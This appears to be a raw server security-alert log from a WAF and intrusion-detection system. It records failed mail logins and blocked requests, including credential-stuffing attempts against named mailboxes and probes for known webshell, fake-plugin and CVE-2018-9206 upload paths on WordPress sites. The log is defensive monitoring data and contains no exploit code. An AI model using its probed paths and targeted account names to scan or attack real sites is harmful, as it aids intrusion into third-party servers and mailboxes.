abuser: 67.43.243.158
country_id: 6252001
description:
2026-07-20 18:33:27 dovecot_login authenticator failed for H=67-43-243-158.fidnet.com ([182.78.112.174]) [67.43.243.158]:44900: 535 Incorrect authentication data (set_id=jianan)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 103.197.168.53
country_id: 1819730
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://sboagen.com/\">situs judi bola</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 68.225.62.190
country_id: 6252001
description:
2026-07-20 18:33:23 dovecot_login authenticator failed for H=wsip-68-225-62-190.pn.at.cox.net ([118.35.213.41]) [68.225.62.190]:57235: 535 Incorrect authentication data (set_id=swiderek.pawel)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.211.215.7
country_id: 1733045
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/c53272503 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.97.195.179
country_id: 1835841
description:
2026-07-20 18:40:17 dovecot_login authenticator failed for H=([49.124.132.6]) [222.97.195.179]:40774: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.65.190.48
country_id: 2661886
description:
2026-07-20 18:41:36 dovecot_login authenticator failed for H=213-65-190-48-no2550.tbcn.telia.com ([174.75.211.217]) [213.65.190.48]:46590: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.109.73.135
country_id: 1835841
description:
2026-07-20 18:41:43 dovecot_login authenticator failed for H=(ipmapt-72-195-114-182.oc.oc.cox.net) [222.109.73.135]:34081: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.185.14
country_id: 1269750
description:
2026-07-20 18:41:31 dovecot_login authenticator failed for H=([195.158.14.232]) [182.95.185.14]:50912: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.10.203.54
country_id: 2661886
description:
2026-07-20 18:42:35 dovecot_login authenticator failed for H=h-176-10-203-54.a463.priv.bahnhof.se ([188.59.178.43]) [176.10.203.54]:49310: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.195
country_id: 1668284
description:
2026-07-20 18:43:09 dovecot_login authenticator failed for H=([49.124.151.64]) [101.13.5.195]:58104: 535 Incorrect authentication data (set_id=jianan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.125.201.73
country_id: 1733045
description:
2026-07-20 18:43:38 dovecot_login authenticator failed for H=(89-67-39-124.dynamic.play.pl) [49.125.201.73]:48306: 535 Incorrect authentication data (set_id=swiderek.pawel@metrodigitals.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 160.250.133.240
country_id: 1562822
description:
2026-07-20 18:43:38 H=([160.250.133.240]) [160.250.133.240]:53030 F=<freadmark@fmarkmorgan.com> rejected RCPT <info@globalgroupoman.com>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 163.245.187.130
country_id: 6252001
description:
2026-07-20 18:43:47 dovecot_login authenticator failed for H=([131.161.184.46]) [163.245.187.130]:34242: 535 Incorrect authentication data (set_id=swiderek.pawel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.207.177.56
country_id: 192950
description:
2026-07-20 18:44:45 dovecot_login authenticator failed for H=([206.223.243.79]) [196.207.177.56]:57226: 535 Incorrect authentication data (set_id=swiderek.pawel@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.162.61.229
country_id: 1835841
description:
2026-07-20 18:45:25 dovecot_login authenticator failed for H=(ip-103-133.222-205.cloudteknologinusantara.co.id) [121.162.61.229]:61776: 535 Incorrect authentication data (set_id=olivier.struillou@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.140
country_id: 2921044
description:
2026-07-20 18:46:06 dovecot_login authenticator failed for H=(wsip-64-207-241-177.tu.ok.cox.net) [94.16.17.140]:53676: 535 Incorrect authentication data (set_id=website)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.120.57.125
country_id: 1668284
description:
2026-07-20 18:45:20 dovecot_login authenticator failed for H=221-120-57-125.emome-ip.hinet.net (92.79-161-110.customer.lyse.net) [221.120.57.125]:58352: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 192.186.151.168
country_id: 6252001
domain: fefkadirectorsunion.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:192.186.151.168||TA:192.186.151.168||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 45.95.116.245
country_id: 3017382
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://www.guapizhu.com/wp-content/themes/begin-lts/inc/go.php?url=http://aquira.jp/cgi-local/bbs200.cgi\">online slots</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 160.250.133.240
country_id: 1562822
description:
2026-07-20 18:48:03 H=([160.250.133.240]) [160.250.133.240]:60022 F=<freadmark@fmarkmorgan.com> rejected RCPT <info@globalgroupoman.com>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.199.192.139
country_id: 1880251
description:
2026-07-20 18:48:40 dovecot_plain authenticator failed for H=(gattervaul) [112.199.192.139]:50330: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.252.177.148
country_id: 2186224
description:
2026-07-20 18:50:29 dovecot_login authenticator failed for H=(95.57.67.198.dynamic.telecom.kz) [27.252.177.148]:36424: 535 Incorrect authentication data (set_id=olivier.struillou)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.207.9.154
country_id: 1269750
description:
2026-07-20 18:50:16 dovecot_login authenticator failed for H=([106.63.13.176]) [103.207.9.154]:42680: 535 Incorrect authentication data (set_id=olivier.struillou@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.173.21.44
country_id: 1880251
description:
2026-07-20 18:57:20 dovecot_login authenticator failed for H=([67.201.39.9]) [165.173.21.44]:58442: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.226.181.38
country_id: 2661886
description:
2026-07-20 18:57:30 dovecot_login authenticator failed for H=c-83-226-181-38.bbcust.telenor.se (110-25-112-150.adsl.fetnet.net) [83.226.181.38]:54110: 535 Incorrect authentication data (set_id=olivier.struillou@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.26
country_id: 1269750
description:
2026-07-20 18:57:55 dovecot_login authenticator failed for H=([183.82.56.12]) [182.95.181.26]:56350: 535 Incorrect authentication data (set_id=shokria)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.207.215.2
country_id: 3175395
description:
2026-07-20 18:58:03 dovecot_login authenticator failed for H=host-37-207-215-2.business.telecomitalia.it ([128.185.56.205]) [37.207.215.2]:38698: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.191.74.151
country_id: 6252001
description:
2026-07-20 18:57:57 dovecot_login authenticator failed for H=([183.195.135.222]) [172.191.74.151]:46690: 535 Incorrect authentication data (set_id=olivier.struillou)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.14.144.138
country_id: 3017382
description:
2026-07-20 18:58:29 dovecot_login authenticator failed for H=([103.177.204.4]) [154.14.144.138]:49807: 535 Incorrect authentication data (set_id=shokria)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.202.121.164
country_id: 1835841
description:
2026-07-20 18:58:16 dovecot_login authenticator failed for H=([72.207.109.1]) [119.202.121.164]:43763: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 71.215.100.220
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/072482918 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 114.10.18.6
country_id: 1643084
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/1f893831 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.146.42
country_id: 1733045
description:
2026-07-20 19:03:51 dovecot_login authenticator failed for H=([61.80.157.142]) [49.124.146.42]:44648: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.202.4
country_id: 99237
description:
2026-07-20 19:04:32 dovecot_login authenticator failed for H=([104.37.132.51]) [65.20.202.4]:46109: 535 Incorrect authentication data (set_id=website)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.134.20.144
country_id: 2077456
domain: ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/wp-admin/images/bootstrap.php||SC:/home/ibmcglobal/public_html/wp-admin||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 72.199.128.92
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/332683542 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77316761
name: IM360 WAF: Block interaction with malicious plugin
abuser: 45.134.20.144
country_id: 2077456
domain: ibmcglobal.com
description:
IM360 WAF: Block interaction with malicious plugin||RSV:8.32||T:APACHE||SC:/home/ibmcglobal/public_html/wp-content||REQUEST_URI:/wp-content/plugins/ubh/up.php||


plugin: modsec
rule: 77350390
name: IM360 WAF: Interaction with fake plugin
abuser: 45.134.20.173
country_id: 2077456
domain: ibmcglobal.com
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/seoo/about.php||WPU:||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.134.20.147
country_id: 2077456
domain: ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/wp-admin/images/admin.php||SC:/home/ibmcglobal/public_html/wp-admin||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 45.134.20.173
country_id: 2077456
domain: ibmcglobal.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/wp.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.134.20.173
country_id: 2077456
domain: ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/wp-content/uploads/wp.php||SC:/home/ibmcglobal/public_html/wp-content||


plugin: modsec
rule: 77350295
name: IM360 WAF: Interaction with fake plugin
abuser: 45.134.20.173
country_id: 2077456
domain: ibmcglobal.com
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/WordPressCore/index.php||WPU:||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.107.219.58
country_id: 1835841
description:
2026-07-20 19:08:43 dovecot_login authenticator failed for H=(66-45-144-201-dynamic.midco.net) [183.107.219.58]:35090: 535 Incorrect authentication data (set_id=swiderek.pawel@metrodigitals.com)


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 45.134.20.173
country_id: 2077456
domain: ibmcglobal.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/file.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.134.20.159
country_id: 2077456
domain: ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/wp-admin/images/index.php||SC:/home/ibmcglobal/public_html/wp-admin||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.134.20.173
country_id: 2077456
domain: ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/wp-content/uploads/file.php||SC:/home/ibmcglobal/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.102.190
country_id: 1269750
description:
2026-07-20 19:08:28 dovecot_login authenticator failed for H=(77x106x78x215.dynamic.barnaul.ertelecom.ru) [182.95.102.190]:55044: 535 Incorrect authentication data (set_id=jianan)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.134.20.165
country_id: 2077456
domain: ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/wp-includes/images/wp-login.php||SC:/home/ibmcglobal/public_html/wp-includes||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.151.69
country_id: 1733045
description:
2026-07-20 19:08:16 dovecot_login authenticator failed for H=([5.48.46.95]) [49.124.151.69]:35850: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: modsec
rule: 77350390
name: IM360 WAF: Interaction with fake plugin
abuser: 45.134.20.166
country_id: 2077456
domain: ibmcglobal.com
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/pwnd/admin-footer.php||WPU:||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 45.134.20.166
country_id: 2077456
domain: ibmcglobal.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/content.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 74.129.136.63
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/3d506457 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.119.52.56
country_id: 6252001
description:
2026-07-20 19:10:09 dovecot_login authenticator failed for H=24-119-52-56.cpe.sparklight.net (90-230-212-29-no2550.tbcn.telia.com) [24.119.52.56]:52568: 535 Incorrect authentication data (set_id=swiderek.pawel@metrodigitals.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.134.20.166
country_id: 2077456
domain: ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/wp-content/uploads/content.php||SC:/home/ibmcglobal/public_html/wp-content||


plugin: modsec
rule: 77316761
name: IM360 WAF: Block interaction with malicious plugin
abuser: 45.134.20.154
country_id: 2077456
domain: ibmcglobal.com
description:
IM360 WAF: Block interaction with malicious plugin||RSV:8.32||T:APACHE||SC:/home/ibmcglobal/public_html/wp-content||REQUEST_URI:/wp-content/plugins/ubh/install.php||


plugin: modsec
rule: 77350600
name: IM360 WAF: Suspicious .min.php file in wp-includes
abuser: 45.134.20.152
country_id: 2077456
domain: ibmcglobal.com
description:
IM360 WAF: Suspicious .min.php file in wp-includes||SC:/home/ibmcglobal/public_html/wp-includes||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 45.134.20.154
country_id: 2077456
domain: ibmcglobal.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wordpress/wp-content/uploads/install.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 45.134.20.161
country_id: 2077456
domain: ibmcglobal.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/wp-cert.phtml||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.134.20.152
country_id: 2077456
domain: ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/wp-content/uploads/system_cache.php||SC:/home/ibmcglobal/public_html/wp-content||


plugin: modsec
rule: 77350390
name: IM360 WAF: Interaction with fake plugin
abuser: 45.134.20.152
country_id: 2077456
domain: ibmcglobal.com
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/pwnd/cloud.php||WPU:||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.134.20.154
country_id: 2077456
domain: ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/wordpress/wp-content/uploads/install.php||SC:/home/ibmcglobal/public_html/wordpress||


plugin: modsec
rule: 77350390
name: IM360 WAF: Interaction with fake plugin
abuser: 45.134.20.161
country_id: 2077456
domain: ibmcglobal.com
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/pwnd/install.php||WPU:||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77350390
name: IM360 WAF: Interaction with fake plugin
abuser: 45.134.20.154
country_id: 2077456
domain: ibmcglobal.com
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/pwnd/1.php||WPU:||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77316761
name: IM360 WAF: Block interaction with malicious plugin
abuser: 45.134.20.154
country_id: 2077456
domain: ibmcglobal.com
description:
IM360 WAF: Block interaction with malicious plugin||RSV:8.32||T:APACHE||SC:/home/ibmcglobal/public_html/wp-content||REQUEST_URI:/wp-content/plugins/ubh/av.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.101.138.172
country_id: 597427
description:
2026-07-20 19:10:32 dovecot_login authenticator failed for H=static-213-101-138-172.cust.tele2.lt ([65.20.132.172]) [213.101.138.172]:43398: 535 Incorrect authentication data (set_id=swiderek.pawel)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.134.20.161
country_id: 2077456
domain: ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/upload/install.php||SC:/home/ibmcglobal/public_html/upload||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 45.134.20.152
country_id: 2077456
domain: ibmcglobal.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/system_cache.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77316761
name: IM360 WAF: Block interaction with malicious plugin
abuser: 45.134.20.152
country_id: 2077456
domain: ibmcglobal.com
description:
IM360 WAF: Block interaction with malicious plugin||RSV:8.32||T:APACHE||SC:/home/ibmcglobal/public_html/wp-content||REQUEST_URI:/wp-content/plugins/ubh/adminfus.php||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 45.134.20.152
country_id: 2077456
domain: ibmcglobal.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/chosen.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77350295
name: IM360 WAF: Interaction with fake plugin
abuser: 45.134.20.152
country_id: 2077456
domain: ibmcglobal.com
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/WordPressCore/include.php||WPU:||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.134.20.152
country_id: 2077456
domain: ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/wp-content/uploads/chosen.php||SC:/home/ibmcglobal/public_html/wp-content||


plugin: modsec
rule: 77350390
name: IM360 WAF: Interaction with fake plugin
abuser: 45.134.20.150
country_id: 2077456
domain: ibmcglobal.com
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/pwnd/dedi1.php||WPU:||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.134.20.150
country_id: 2077456
domain: ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/wp-includes/images/include.php||SC:/home/ibmcglobal/public_html/wp-includes||


plugin: modsec
rule: 77350391
name: IM360 WAF: Interaction with fake plugin
abuser: 45.134.20.150
country_id: 2077456
domain: ibmcglobal.com
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/seoo/alfa.php||WPU:||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77350390
name: IM360 WAF: Interaction with fake plugin
abuser: 45.134.20.162
country_id: 2077456
domain: ibmcglobal.com
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/pwnd/autoload_classmap.php||WPU:||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.49.199.97
country_id: 6252001
description:
2026-07-20 19:12:00 dovecot_login authenticator failed for H=([207.254.71.129]) [76.49.199.97]:40566: 535 Incorrect authentication data (set_id=olivier.struillou@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.47.169
country_id: 1819730
description:
2026-07-20 19:12:11 dovecot_login authenticator failed for H=169.47.246.220.static.netvigator.com ([98.182.171.163]) [220.246.47.169]:63046: 535 Incorrect authentication data (set_id=olivier.struillou)


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 45.134.20.162
country_id: 2077456
domain: ibmcglobal.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/2021/wp-works.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77240000
name: IM360 WAF: Protecting Joomla folder
abuser: 45.134.20.152
country_id: 2077456
domain: ibmcglobal.com
description:
IM360 WAF: Protecting Joomla folder||MVN:REQUEST_FILENAME||MV:/images/stories/themes.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.134.20.162
country_id: 2077456
domain: ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/wp-content/uploads/2021/wp-works.php||SC:/home/ibmcglobal/public_html/wp-content||


plugin: modsec
rule: 77350390
name: IM360 WAF: Interaction with fake plugin
abuser: 45.134.20.162
country_id: 2077456
domain: ibmcglobal.com
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/pwnd/adminfus.php||WPU:||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77142199
name: IM360 WAF: jQuery-File-Upload - Arbitrary File Upload (CVE-2018-9206)
abuser: 45.134.20.170
country_id: 2077456
domain: ibmcglobal.com
description:
IM360 WAF: jQuery-File-Upload - Arbitrary File Upload (CVE-2018-9206)||RSV:8.32||T:APACHE||MVN:REQUEST_URI||MV:/admin/assets/plugins/jquery-file-upload/server/php/index.php||


plugin: modsec
rule: 77350390
name: IM360 WAF: Interaction with fake plugin
abuser: 45.134.20.170
country_id: 2077456
domain: ibmcglobal.com
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/pwnd/file-js.php||WPU:||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.134.20.162
country_id: 2077456
domain: ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/uploads/function.php||SC:/home/ibmcglobal/public_html/uploads||


plugin: modsec
rule: 77270974
name: IM360 WAF: [monitor] File-manager/upload plugin interaction (WPT-2631 attack-surface tracking)
abuser: 45.134.20.170
country_id: 2077456
domain: ibmcglobal.com
description:
IM360 WAF: [monitor] File-manager/upload plugin interaction (WPT-2631 attack-surface tracking)||MV:/wp-content/plugins/filester/assets/css/404.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.134.20.170
country_id: 2077456
domain: ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/assets/images/cloud.php||SC:/home/ibmcglobal/public_html/assets||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 45.134.20.170
country_id: 2077456
domain: ibmcglobal.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/uploads.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 45.134.20.170
country_id: 2077456
domain: ibmcglobal.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/link.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.134.20.170
country_id: 2077456
domain: ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/wp-content/uploads/link.php||SC:/home/ibmcglobal/public_html/wp-content||


plugin: modsec
rule: 77316761
name: IM360 WAF: Block interaction with malicious plugin
abuser: 45.134.20.170
country_id: 2077456
domain: ibmcglobal.com
description:
IM360 WAF: Block interaction with malicious plugin||RSV:8.32||T:APACHE||SC:/home/ibmcglobal/public_html/wp-content||REQUEST_URI:/wp-content/plugins/ubh/||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.38.54
country_id: 1668284
description:
2026-07-20 19:13:59 dovecot_login authenticator failed for H=111-70-38-54.emome-ip.hinet.net ([67.43.240.149]) [111.70.38.54]:37668: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.77.214.59
country_id: 1835841
description:
2026-07-20 19:14:27 dovecot_login authenticator failed for H=([169.211.232.182]) [220.77.214.59]:53729: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77350559
name: IM360 WAF: Interaction with fake plugin
abuser: 45.134.20.143
country_id: 2077456
domain: ibmcglobal.com
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/easy-themes-manager/||WPU:||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.11.38
country_id: 1668284
description:
2026-07-20 19:18:02 dovecot_login authenticator failed for H=111-70-11-38.emome-ip.hinet.net ([81.13.62.77]) [111.70.11.38]:44295: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.201.76.203
country_id: 1269750
description:
2026-07-20 19:21:50 dovecot_login authenticator failed for H=([182.95.87.228]) [106.201.76.203]:2074: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
